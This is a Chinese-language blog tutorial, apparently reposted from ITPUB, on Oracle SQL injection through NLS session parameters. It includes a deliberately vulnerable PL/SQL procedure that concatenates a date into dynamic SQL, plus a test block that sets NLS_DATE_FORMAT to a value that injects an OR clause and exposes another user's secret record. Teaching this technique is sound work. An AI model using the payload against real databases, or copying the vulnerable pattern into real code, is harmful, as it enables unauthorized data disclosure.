使用NLS会话参数来修改或注入SQL语句。
一个日期或数值连接到动态SQL语句文本中的时候一定会被转换成为VARCHAR2数据类型。这个转换可能是隐式的或显式的。数据类型转换依赖于数据库会话参数NLS_,
日期转换格式化模板依赖于NLS_DATE_FORMAT, NLS_TIMESTAMP_FORMAT或NLS_TIMESTAMP_TZ_FORMAT,
具体依赖于哪一种取决于日期数据类型。数值的转换依赖于参数NLS_NUMERIC_CHARACTERS。
例如:日期的转换模型是”text”,则text会被复制到转换结果中。
NLS_DATE_FORMAT = '"Month:" Month',则6月时,to_char的转换结果为’Month: June’
|
--插入之前删除的数据 hr@TESTDB11>INSERT INTO secret_records VALUES ('Chuck', 'Merger', 'Buy company XYZ', SYSDATE); --确定数据 hr@TESTDB11>select * from secret_records;
USER_NAME SERVICE_TYPE VALUE DATE_CREA --------- ------------ ------------------------------ --------- Andy Waiter Serve dinner at Cafe Pete 15-FEB-14 Chuck Merger Buy company XYZ 15-FEB-14
-- 11g12_07_11.prc CREATE OR REPLACE PROCEDURE get_recent_record (user_name IN VARCHAR2, service_type IN VARCHAR2, rec OUT VARCHAR2) IS query VARCHAR2(4000); BEGIN --查看传递进来的参数 DBMS_OUTPUT.PUT_LINE('parameter user_name: ' || user_name); DBMS_OUTPUT.PUT_LINE('parameter service_type: ' || service_type);
--下面的语句容易受修改的攻击,因为where子句是使用连接来构造的,并且sysdate依赖于NLS_DATE_FORMAT参数的值 query := 'SELECT value FROM secret_records WHERE user_name=''' || user_name || ''' AND service_type=''' || service_type || ''' AND date_created>''' || (SYSDATE - 30) || '''';
DBMS_OUTPUT.PUT_LINE('查询: ' || query); EXECUTE IMMEDIATE query INTO rec; DBMS_OUTPUT.PUT_LINE('结果: ' || rec); END; -- 11g12_07_11.tst DECLARE record_value VARCHAR2(4000); BEGIN --没有SQL注入 --get_recent_record('Andy', 'Waiter', record_value); --带SQL注入,先要修改会话参数设置 --ALTER SESSION SET NLS_DATE_FORMAT='"'' OR service_type=''Merger"'; --查看修改后的NLS_DATE_FORMAT参数的设置 -- select * from nls_session_parameters where parameter = 'NLS_DATE_FORMAT'; get_recent_record('Andy', 'Anything', record_value); END;
|
来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/17013648/viewspace-1082020/ ,如需转载,请注明出处,否则将追究法律责任。